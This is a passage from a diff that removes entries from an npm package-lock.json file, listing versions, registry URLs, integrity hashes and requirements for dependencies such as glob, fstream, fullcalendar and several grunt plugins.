{ - "version": "1.0.1", - "bundled": true, - "dev": true, - "optional": true - }, - "object-assign": { - "version": "4.1.1", - "bundled": true, - "dev": true, - "optional": true - }, - "once": { - "version": "1.4.0", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "wrappy": "1" - } - }, - "os-homedir": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "optional": true - }, - "os-tmpdir": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "optional": true - }, - "osenv": { - "version": "0.1.5", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, - "path-is-absolute": { - "version": "1.0.1", - "bundled": true, - "dev": true, - "optional": true - }, - "process-nextick-args": { - "version": "2.0.0", - "bundled": true, - "dev": true, - "optional": true - }, - "rc": { - "version": "1.2.7", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "dependencies": { - "minimist": { - "version": "1.2.0", - "bundled": true, - "dev": true, - "optional": true - } - } - }, - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "rimraf": { - "version": "2.6.2", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "glob": "^7.0.5" - } - }, - "safe-buffer": { - "version": "5.1.1", - "bundled": true, - "dev": true, - "optional": true - }, - "safer-buffer": { - "version": "2.1.2", - "bundled": true, - "dev": true, - "optional": true - }, - "sax": { - "version": "1.2.4", - "bundled": true, - "dev": true, - "optional": true - }, - "semver": { - "version": "5.5.0", - "bundled": true, - "dev": true, - "optional": true - }, - "set-blocking": { - "version": "2.0.0", - "bundled": true, - "dev": true, - "optional": true - }, - "signal-exit": { - "version": "3.0.2", - "bundled": true, - "dev": true, - "optional": true - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "safe-buffer": "~5.1.0" - } - }, - "string-width": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - }, - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "strip-json-comments": { - "version": "2.0.1", - "bundled": true, - "dev": true, - "optional": true - }, - "tar": { - "version": "4.4.1", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.2.4", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.1", - "yallist": "^3.0.2" - } - }, - "util-deprecate": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "optional": true - }, - "wide-align": { - "version": "1.1.2", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "string-width": "^1.0.2" - } - }, - "wrappy": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "optional": true - }, - "yallist": { - "version": "3.0.2", - "bundled": true, - "dev": true, - "optional": true - } - } - }, - "fstream": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.11.tgz", - "integrity": "sha1-XB+x8RdHcRTwYyoOtLcbPLD9MXE=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - } - }, - "fullcalendar": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/fullcalendar/-/fullcalendar-3.6.2.tgz", - "integrity": "sha1-ZJVudDG+OUs9UFsyf2suj2Kckdo=", - "requires": { - "jquery": "2 - 3", - "moment": "^2.9.0" - } - }, - "function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", - "dev": true - }, - "functional-red-black-tree": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", - "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", - "dev": true - }, - "gauge": { - "version": "2.7.4", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", - "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", - "dev": true, - "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - } - } - }, - "gaze": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", - "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", - "dev": true, - "requires": { - "globule": "^1.0.0" - } - }, - "get-assigned-identifiers": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/get-assigned-identifiers/-/get-assigned-identifiers-1.2.0.tgz", - "integrity": "sha512-mBBwmeGTrxEMO4pMaaf/uUEFHnYtwr8FTe8Y/mer4rcV/bye0qGm6pw1bGZFGStxC5O76c5ZAVBGnqHmOaJpdQ==", - "dev": true - }, - "get-caller-file": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.2.tgz", - "integrity": "sha1-9wLmMSfn4jHBYKgMFVSstw1QR+U=", - "dev": true - }, - "get-stdin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", - "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", - "dev": true - }, - "get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", - "dev": true - }, - "get-value": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", - "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", - "dev": true - }, - "getobject": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/getobject/-/getobject-0.1.0.tgz", - "integrity": "sha1-BHpEl4n6Fg0Bj1SG7ZEyC27HiFw=", - "dev": true - }, - "getpass": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", - "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - } - }, - "gettext-parser": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/gettext-parser/-/gettext-parser-1.4.0.tgz", - "integrity": "sha512-sedZYLHlHeBop/gZ1jdg59hlUEcpcZJofLq2JFwJT1zTqAU3l2wFv6IsuwFHGqbiT9DWzMUW4/em2+hspnmMMA==", - "dev": true, - "requires": { - "encoding": "^0.1.12", - "safe-buffer": "^5.1.1" - } - }, - "gherkin": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/gherkin/-/gherkin-5.1.0.tgz", - "integrity": "sha1-aEu7A63STq9731RPWAM+so+zxtU=", - "dev": true - }, - "github-from-package": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", - "integrity": "sha1-l/tdlr/eiXMxPyDoKI75oWf6ZM4=", - "dev": true, - "optional": true - }, - "glob": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.0.6.tgz", - "integrity": "sha1-IRuvr0nlJbjNkyYNFKsTYVKz9Xo=", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.2", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "glob-base": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz", - "integrity": "sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q=", - "dev": true, - "requires": { - "glob-parent": "^2.0.0", - "is-glob": "^2.0.0" - } - }, - "glob-parent": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", - "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", - "dev": true, - "requires": { - "is-glob": "^2.0.0" - } - }, - "globals": { - "version": "9.18.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=" - }, - "globby": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-5.0.0.tgz", - "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=", - "dev": true, - "requires": { - "array-union": "^1.0.1", - "arrify": "^1.0.0", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } - } - }, - "globule": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", - "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", - "dev": true, - "requires": { - "glob": "~7.1.1", - "lodash": "~4.17.10", - "minimatch": "~3.0.2" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } - } - }, - "graceful-fs": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz", - "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", - "dev": true - }, - "growl": { - "version": "1.10.3", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.3.tgz", - "integrity": "sha512-hKlsbA5Vu3xsh1Cg3J7jSmX/WaW6A5oBeqzM88oNbCRQFz+zUaXm6yxS4RVytp1scBoJzSYl4YAEOQIt6O8V1Q==", - "dev": true - }, - "grunt": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/grunt/-/grunt-1.0.3.tgz", - "integrity": "sha512-/JzmZNPfKorlCrrmxWqQO4JVodO+DVd5XX4DkocL/1WlLlKVLE9+SdEIempOAxDhWPysLle6afvn/hg7Ck2k9g==", - "dev": true, - "requires": { - "coffeescript": "~1.10.0", - "dateformat": "~1.0.12", - "eventemitter2": "~0.4.13", - "exit": "~0.1.1", - "findup-sync": "~0.3.0", - "glob": "~7.0.0", - "grunt-cli": "~1.2.0", - "grunt-known-options": "~1.1.0", - "grunt-legacy-log": "~2.0.0", - "grunt-legacy-util": "~1.1.1", - "iconv-lite": "~0.4.13", - "js-yaml": "~3.5.2", - "minimatch": "~3.0.2", - "mkdirp": "~0.5.1", - "nopt": "~3.0.6", - "path-is-absolute": "~1.0.0", - "rimraf": "~2.6.2" - }, - "dependencies": { - "coffeescript": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.10.0.tgz", - "integrity": "sha1-56qDAZF+9iGzXYo580jc3R234z4=", - "dev": true - }, - "grunt-cli": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/grunt-cli/-/grunt-cli-1.2.0.tgz", - "integrity": "sha1-VisRnrsGndtGSs4oRVAb6Xs1tqg=", - "dev": true, - "requires": { - "findup-sync": "~0.3.0", - "grunt-known-options": "~1.1.0", - "nopt": "~3.0.6", - "resolve": "~1.1.0" - } - }, - "js-yaml": { - "version": "3.5.5", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.5.5.tgz", - "integrity": "sha1-A3fDgBfKvHMisNH7zSWkkWQfL74=", - "dev": true, - "requires": { - "argparse": "^1.0.2", - "esprima": "^2.6.0" - } - }, - "resolve": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", - "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", - "dev": true - } - } - }, - "grunt-browserify": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/grunt-browserify/-/grunt-browserify-5.3.0.tgz", - "integrity": "sha1-R/2M+LrFj+LeaDr9xX9/OoDKeS0=", - "dev": true, - "requires": { - "async": "^2.5.0", - "browserify": "^16.0.0", - "browserify-incremental": "^3.1.1", - "glob": "^7.1.2", - "lodash": "^4.17.4", - "resolve": "^1.1.6", - "watchify": "^3.6.1" - }, - "dependencies": { - "async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "requires": { - "lodash": "^4.17.10" - } - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } - } - }, - "grunt-contrib-clean": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-clean/-/grunt-contrib-clean-1.1.0.tgz", - "integrity": "sha1-Vkq/LQN4qYOhW54/MO51tzjEBjg=", - "dev": true, - "requires": { - "async": "^1.5.2", - "rimraf": "^2.5.1" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "rimraf": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", - "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "dev": true, - "requires": { - "glob": "^7.0.5" - } - } - } - }, - "grunt-contrib-compress": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/grunt-contrib-compress/-/grunt-contrib-compress-1.4.3.tgz", - "integrity": "sha1-Ac7/ucY39S5wgfRjdQmD0KOw+nM=", - "dev": true, - "requires": { - "archiver": "^1.3.0", - "chalk": "^1.1.1", - "iltorb": "^1.0.13", - "lodash": "^4.7.0", - "pretty-bytes": "^4.0.2", - "stream-buffers": "^2.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true - }, - "ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true - }, - "archiver": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/archiver/-/archiver-1.3.0.tgz", - "integrity": "sha1-TyGU1tj5nfP1MeaIHxTxXVX6ryI=", - "dev": true, - "requires": { - "archiver-utils": "^1.3.0", - "async": "^2.0.0", - "buffer-crc32": "^0.2.1", - "glob": "^7.0.0", - "lodash": "^4.8.0", - "readable-stream": "^2.0.0", - "tar-stream": "^1.5.0", - "walkdir": "^0.0.11", - "zip-stream": "^1.1.0" - } - }, - "async": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.0.tgz", - "integrity": "sha512-xAfGg1/NTLBBKlHFmnd7PlmUW9KhVQIUuSrYem9xzFUZy13ScvtyGGejaae9iAVRiRq9+Cx7DPFaAAhCpyxyPw==", - "dev": true, - "requires": { - "lodash": "^4.14.0" - } - }, - "chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - } - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "lodash": { - "version": "4.17.5", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", - "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==", - "dev": true - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true - }, - "zip-stream": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-1.2.0.tgz", - "integrity": "sha1-qLxF9MG0lpnGuQGYuqyqzbzUugQ=", - "dev": true, - "requires": { - "archiver-utils": "^1.3.0", - "compress-commons": "^1.2.0", - "lodash": "^4.8.0", - "readable-stream": "^2.0.0" - } - } - } - }, - "grunt-contrib-concat": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/grunt-contrib-concat/-/grunt-contrib-concat-1.0.1.tgz", - "integrity": "sha1-YVCYYwhOhx1+ht5IwBUlntl3Rb0=", - "dev": true, - "requires": { - "chalk": "^1.0.0", - "source-map": "^0.5.3" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true - }, - "ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true - }, - "chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - } - }, - "has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true - } - } - }, - "grunt-contrib-copy": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz", - "integrity": "sha1-cGDGWB6QS4qw0A8HbgqPbj58NXM=", - "dev": true, - "requires": { - "chalk": "^1.1.1", - "file-sync-cmp": "^0.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true - }, - "ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true - }, - "chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - } - }, - "has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true - } - } - }, - "grunt-contrib-jshint": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-jshint/-/grunt-contrib-jshint-1.1.0.tgz", - "integrity": "sha1-Np2QmyWTxA6L55lAshNAhQx5Oaw=", - "dev": true, - "requires": { - "chalk": "^1.1.1", - "hooker": "^0.2.3", - "jshint": "~2.9.4" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true - }, - "ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true - }, - "chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - } - }, - "cli": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", - "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", - "dev": true, - "requires": { - "exit": "0.1.2", - "glob": "^7.1.1" - } - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "jshint": { - "version": "2.9.5", - "resolved": "https://registry.npmjs.org/jshint/-/jshint-2.9.5.tgz", - "integrity": "sha1-HnJSkVzmgbQIJ+4UJIxG006apiw=", - "dev": true, - "requires": { - "cli": "~1.0.0", - "console-browserify": "1.1.x", - "exit": "0.1.x", - "htmlparser2": "3.8.x", - "lodash": "3.7.x", - "minimatch": "~3.0.2", - "shelljs": "0.3.x", - "strip-json-comments": "1.0.x" - } - }, - "lodash": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.7.0.tgz", - "integrity": "sha1-Nni9irmVBXwHreg27S7wh9qBHUU=", - "dev": true - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "strip-json-comments": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-1.0.4.tgz", - "integrity": "sha1-HhX7ysl9Pumb8tc7TGVrCCu6+5E=", - "dev": true - }, - "supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true - } - } - }, - "grunt-contrib-less": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-less/-/grunt-contrib-less-2.0.0.tgz", - "integrity": "sha512-nsaODoEMjVn61OuqPaFeFQpb4Qd/EbfxQDeYnh2oONXm8L5Gnuchtv59kl0V3hjiFdOkZlPILDc3ZrkoZI0PNw==", - "dev": true, - "requires": { - "async": "^2.0.0", - "chalk": "^1.0.0", - "less": "^3.0.4", - "lodash": "^4.17.10" - }, - "dependencies": { - "async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "requires": { - "lodash": "^4.17.10" - } - } - } - }, - "grunt-contrib-watch": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz", - "integrity": "sha512-yGweN+0DW5yM+oo58fRu/XIRrPcn3r4tQx+nL7eMRwjpvk+rQY6R8o94BPK0i2UhTg9FN21hS+m8vR8v9vXfeg==", - "dev": true, - "requires": { - "async": "^2.6.0", - "gaze": "^1.1.0", - "lodash": "^4.17.10", - "tiny-lr": "^1.1.1" - }, - "dependencies": { - "async": { - "version": "2.6.1", - 